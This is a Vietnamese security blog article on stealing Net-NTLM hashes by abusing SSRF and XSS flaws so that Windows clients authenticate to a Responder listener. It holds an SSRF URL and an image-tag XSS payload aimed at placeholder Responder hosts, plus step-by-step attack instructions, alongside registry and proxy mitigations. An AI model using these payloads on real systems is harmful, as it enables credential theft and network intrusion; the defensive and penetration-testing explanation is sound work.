Mục lục bài viết || Contents of the article
Theo thống kê của các chuyên gia an ninh mạng tại Securitybox có đến
90% lỗ hổng bảo mật bắt nguồn từ ứng dụng web, 90% nhà quản trị chưa có cái nhìn tổng quan về bảo mật WebApp”. Đây là lý do dẫn tới số lượng các cuộc tấn công trên mạng ngày càng nhiều. Bài viết dưới đây sẽ phân tích hành vi tận dụng các lỗ hổng ứng dụng web để đánh cắp mã băm NTLM.
Giới thiệu về NTLM (Windows Challenge / Response)
NTLM (Windows Challenge / Response) là giao thức xác thực được sử dụng trên các mạng bao gồm các hệ thống chạy hệ điều hành Windows và chạy trên các hệ thống độc lập. NTLM dựa trên dữ liệu thu được trong quá trình đăng nhập tương tác và bao gồm tên miền, người dùng tên và băm một chiều mật khẩu của người dùng. Đến thời điểm hiện tại, đã có rất nhiều cuộc tấn công trong local được biết đến là tận dụng cách mà Windows tự động xác thực NTLM để tấn công, chiếm thông tin, và việc sử dụng các phương pháp tấn công này chắc chắn có trong checklist của những người kiểm thử thâm nhập.
Các chuyên gia tại Blaze Information Security đã dành thời gian để nghiên cứu làm thế nào để có thể khai thác tính năng này bằng cách sử dụng các vectơ từ xa, đặc biệt là dựa trên các lỗ hổng ứng dụng web.
Mục đích là để thảo luận về cách tận dụng các lỗ hổng như Server-Side Request Forgery và Cross-Site Scripting (XSS) có thể trở thành công cụ để đánh cắp mã băm Net-NTLM, thứ rất có ích để tiếp cận sâu hơn vào hệ thống mạng.
Bài đăng này giả định rằng người đọc đã quen thuộc với một số khái niệm được nêu ở đây và sẽ bỏ qua một số chi tiết kỹ thuật về hoạt động bên trong của xác thực NTLM, cách cấu hình và sử dụng các công cụ cần thiết để chụp lại mã băm Net-NTLM hay cách khai thác XSS và SSRF.
Tất cả các thử nghiệm đã được Blaze Information Security thực hiện trong các labs của mình bằng cách sử dụng Windows 10 , máy ảo Windows 7 và Ubuntu Linux làm máy chủ xác thực giả mạo.
ĐỌC THÊM: GIẢI MÃ MẬT KHẨU – PHẦN 1: CÁC NGUYÊN LÝ VÀ KĨ THUẬT
Đôi chút về tích hợp Xác thực Windows
Bất cứ ai đã sử dụng Windows trong môi trường doanh nghiệp mạng nội bộ đều có thể nhận thấy rằng việc truy cập tài nguyên của công ty trong mạng là không bắt buộc và trong nhiều trường hợp không yêu cầu xác thực rõ ràng về thông tin đăng nhập, ngoại trừ đăng nhập tên miền Windows ban đầu. Điều này đúng với một số dịch vụ, giống như mount, chia sẻ thư mục hoặc ổ cứng qua mạng nội bộ, các trang web mạng nội bộ và nhiều dịch vụ khác.
Windows WinHTTP cung cấp cho các nhà phát triển một API bậc cao xử lý giao thức HTTP / 1.1. Trong số các chức năng khác nhau, WinHTTP có khả năng tự động xử lý xác thực để truy cập các tài nguyên được bảo vệ bằng cách vượt qua NTLM, Kerberos và các chức năng khác.
Các trình duyệt của Microsoft như Internet Explorer và Edge có định nghĩa các vùng mạng an toàn (trusted zone): Internet, Mạng nội bộ cục bộ, Trang web đáng tin cậy và Trang web bị hạn chế. Mỗi khu vực có một mức độ bảo mật khác nhau và các hạn chế liên quan. Ví dụ: đối với các trang web khu vực Intranet, Internet Explorer sẽ vô hiệu hóa bộ lọc XSS, chạy các trình cài cắm ActiveX, thực hiện đăng nhập tự động và nói chung có ít kiểm soát bảo mật hơn so với các trang web Internet.
Về mặc định, khi máy chủ web có tài nguyên được bảo vệ bằng xác thực NTLM, Internet Explorer và Edge sẽ tự động thực hiện xác thực nếu trang web nằm trong mạng nội bộ của công ty hoặc được đưa vào danh sách tin cậy trong trang web đáng tin cậy, tuân thủ theo quy định về khu vực tin cậy.
Các trình duyệt khác như Mozilla Firefox và Google Chrome cũng hỗ trợ đăng nhập NTLM tự động. Chrome dựa trên cùng các cài đặt giống Internet Explorer; còn trường hợp của Firefox, cấu hình này không được bật mặc định mà cần phải thay đổi thủ công thông qua about, config.
Enter Responder:
Responder [1] được tạo bởi Laurent Gaffie, cho đến nay là công cụ phổ biến nhất trong kho công cụ của những người thử nghiệm thâm nhập, nó được dùng để đánh cắp các thông tin chứng thực khác nhau, bao gồm cả mã băm Net-NTLM.
Nó hoạt động bằng cách thiết lập một số dịch vụ giả lập giả mạo, như máy chủ SQL, FTP, HTTP và SMB, v.v., để trực tiếp nhận các thông tin xác thực hoặc mô phỏng thủ tục xác thực về phản hồi các thử thách và ghi lại các giá trị băm cần thiết được gửi bởi máy khách. Responder có khả năng gây hại tới các giao thức như LLMNR, NBT-NS và mDNS.
Các tình huống lạm dụng thông qua các lỗ hổng ứng dụng web:
Gần đây, chúng tôi đã dành thời gian để nghiên cứu làm thế nào để tận dụng tối đa các lỗ hổng ứng dụng web để có quyền truy cập vào mạng bằng cách tận dụng thực tế là Windows, trong một số điều kiện, có thể phản hồi với băm NTLM khi bị thách thức thông tin đăng nhập.
Bài viết mô tả hai lỗ hổng phổ biến được tìm thấy trong các ứng dụng web và cách có thể tận dụng chúng để ăn cắp mã băm, thỏa hiệp tài khoản và có chỗ đứng trong mạng công ty.
Kịch bản # 1: Từ SSRF đến băm
Lỗ hổng SSRF thường được sử dụng để gửi yêu cầu HTTP đến các máy chủ khác và quét mạng nội bộ. Nó cũng có thể được sử dụng để buộc một ứng dụng web có điểm yếu để làm cho máy chủ Windows tiềm năng bị rò rỉ băm NTLM.
Các nhà nghiên cứu kết hợp một ứng dụng Flask có lỗ hổng là SSRF để minh họa rõ hơn cho vấn đề này. Khái niệm này rất đơn giản: nó có một URL tham số và khi bất kỳ trang web nào được chuyển hướng đến nó, cho dù đó là http://www.blazeinfosec.com hay http://intranet.corporate, nó sẽ gửi yêu cầu HTTP, tìm nạp tài nguyên và trả lời lại cho client với nội dung được tìm nạp theo yêu cầu.
Lỗ hổng ứng dụng web mẫu dựa trên thư viện win32com của Python. Với thư viện này, người ta có thể gọi một đối tượng COM sử dụng WinHTTP.WinHTTPRequest.5.1 để phát hành các yêu cầu HTTP và bởi vì SetAutoLoginPolicy được đặt thành 0 nên nó sẽ tự động gửi thông tin đăng nhập.
Điều quan trọng cần đề cập là các chức năng tìm nạp tài nguyên URL của một số nền tảng không có sự tích hợp chặt chẽ với Windows và sẽ không thực hiện đăng nhập tự động, không giống như trong trường hợp này. Tuy nhiên, hàm URLConnection () của Java và có thể một số nền tảng khác cũng sẽ làm như vậy.
Để khai thác lỗ hổng và lấy băm Net-NTLM của người dùng, tất cả chỉ cần duyệt đến URL sau:
http://127.0.0.1:8000/?url=http://server_listening_responder
Ở chế độ nền, khi không có sự tương tác nào, sẽ xảy ra những điều sau đây:
- API Windows sẽ gửi yêu cầu HTTP
- Máy chủ (trong trường hợp này là Responder) sẽ gửi tiêu đề WWW-Authenticate: NTLM nhắc nó xác thực với NTLM
- Client (trong trường hợp này, ứng dụng có lỗ hổng đang chạy trong máy chủ) sẽ phản hồi với thử thách và kẻ tấn công sẽ lấy băm Net-NTLM của máy chủ
Kết quả cuối cùng là kẻ tấn công đã chiếm được thành công thông tin đăng nhập Net-NTLM.
Mặc dù băm Net-NTLM không thể được sử dụng trong các cuộc tấn công Pass-the-Hash, không giống như băm NTLM thuần túy, chúng có thể được chuyển tiếp hoặc bẻ khóa bằng các công cụ có sẵn như hashcat:
Kịch bản # 2: XSS: hiện thông báo alert (1) đã quá nhàm chán, hãy lấy một số băm Net-NTLM
Khi một máy chủ web nhắc tới Internet Explorer và Edge cho thông tin xác thực NTLM, trong cấu hình mặc định của nó, nó sẽ thực hiện quy trình xác thực phản hồi thách thức và gửi hàm băm của người dùng đã đăng nhập đến máy chủ yêu cầu, miễn là tên miền của trang web được đặt trong mạng nội bộ của công ty hoặc có mặt trong danh sách Trang web đáng tin cậy.
Dưới đây là cấu hình mặc định của Internet Explorer khi nó đăng nhập tự động trong các trang web mạng nội bộ
Thông thường các tổ chức đưa các tên miền của công ty thành các trang web đáng tin cậy vào mạng nội bộ, như trong ví dụ sau:
Điều này có nghĩa là nếu bạn đang thực hiện kiểm tra thâm nhập một ứng dụng web đang chạy trong mạng nội bộ và bạn đã tìm thấy Cross-Site Scripting, có nhiều khả năng bạn có thể tận dụng lỗ hổng nhàm chán này và may mắn lấy được mã băm. Bằng cách lôi kéo bất cứ ai trong môi trường doanh nghiệp truy cập một trang có chứa mã HTML sau:
<html>
<img src=”http://hostname_to_internal_responder”>
</html>
Nếu máy chủ HTTP đang chạy Responder nằm trong mạng nội bộ và tên máy chủ hoặc tên miền phụ của nó, được đánh dấu là đáng tin cậy, như thường lệ, Internet Explorer và Edge sẽ tự động gửi băm.
Các bước sau phác thảo mẫu tấn công băm XSS-to-NTLM:
Bước 1: Thiết lập Responder của bạn chạy ở chế độ HTTP trong mạng cục bộ bạn sẽ có reverser DNS cho IP của mình trong mạng công ty, nghĩa là bạn sẽ có tên máy chủ.
Bước 2: Trong XSS payload, nhập theo dòng dưới đây:
<img src=”http://hostname_to_internal_responder”>
Bước 3: Đợi nạn nhân không nghi ngờ duyệt trang bị ảnh hưởng bởi XSS – nếu đó là Stored XSS, kết quả thậm chí còn tốt hơn.
Bước 4: Lấy mã băm
Thông thường các tổ chức cũng đánh dấu là đáng tin cậy tất cả nội dung được phục vụ bởi các tên miền con của nó. Ví dụ: nếu * .blazeinfosec.com được liệt kê trong danh sách thì chỉ cần một máy chủ trong * .blazeinfosec.com bị xâm nhập để chạy Responder và sau đó nó có thể được sử dụng để đánh cắp băm của người dùng trong mạng công ty thông qua vectơ này.
Nếu máy khách cố gắng kết nối với máy chủ HTTP thử thách xác thực NTLM nhưng tên máy chủ không nằm trong bất kỳ danh sách đáng tin cậy nào của Internet Explorer hoặc Edge, máy khách sẽ được nhắc nhập thông tin đăng nhập như trong ảnh chụp màn hình bên dưới:
Giảm thiểu rủi ro:
Các vấn đề được mô tả trong bài viết này là những vấn đề nổi cộm trong một thời gian dài và trên thực tế nó là các giải pháp thiết kế của Windows. Xác thực NTLM hoạt động theo cách này kể từ những ngày đầu tiên và một số lỗ hổng này đã được thảo luận hơn 20 năm trước, mặc dù không có sự nhận thức đáng kể về rủi ro của nó.
Tuy nhiên, có nhiều cách khác nhau để giảm tác động do hành vi không an toàn này của Windows mang lại.
Đặt giá trị 2 cho RestrictSendingNTLMTraffic trong:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0
Điều này sẽ giảm thiểu rủi ro, vì Windows sẽ không còn gửi băm NTLMv1 hoặc NTLMv2 khi bị máy chủ thách thức, cho dù đó là hợp pháp hay bất hợp pháp.
Tuy nhiên, quan trọng hơn là phải xem xét điều này nó có thể phá vỡ chức năng, đặc biệt là trong mạng công ty sử dụng nhiều NTLM để đăng nhập tự động hay không.
Trong kịch bản liên quan đến SSRF, nên sử dụng các thư viện HTTP không thực hiện xác thực NTLM tự động. Một ý tưởng khác để giảm rủi ro này là có các quy tắc trong proxy công ty của bạn ngăn chặn việc đàm phán xác thực NTLM với các máy chủ bên ngoài phạm vi mạng của bạn.
Kết luận:
Có một số lợi ích mà xác thực NTLM có thể mang lại cho một tổ chức sử dụng sản phẩm tin cậy Windows và các sản phẩm khác của Microsoft. Các khả năng đăng nhập một lần cung cấp trải nghiệm người dùng liền mạch khi truy cập các hệ thống công ty khác nhau, cải thiện hiệu suất của người dùng và giảm gánh nặng phải liên tục xác thực.
Tuy nhiên, có những rủi ro bảo mật liên quan đến xác thực NTLM thường bị bỏ qua, mặc dù chúng đã được biết đến hơn hai thập kỷ nay.
Đối với những người kiểm tra thâm nhập, mỗi khi bạn tìm thấy SSRF, có thể nó đang trỏ đến một máy chủ đang chạy trình lắng nghe Responder. Bạn sẽ có cơ hội bạn sẽ nhận được băm NTLMv1 hoặc NTLMv2 và có thể thâm nhập sâu hơn vào trong mạng đích.
Các nhà phát triển và nhân viên đánh giá rủi ro không nên đánh giá thấp tác động của XSS trong các ứng dụng nội bộ. Có thể là một ý tưởng tốt để xem lại trình theo dõi lỗi của bạn đối với các WONT_FIX tickets có chứa XSS trong ứng dụng nội bộ và xem xét lại khiến nó không được giải quyết, vì tác động của nó có thể lớn hơn một pop-up đơn giản hoặc phiên cookie bị đánh cắp.
Liên kết tham chiếu:
[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx
[3] https://github.com/blazeinfosec/ssrf-ntlm
[4]https://blog.blazeinfosec.com/leveraging-web-application-vulnerabilities-to-steal-ntlm-hashes-2/
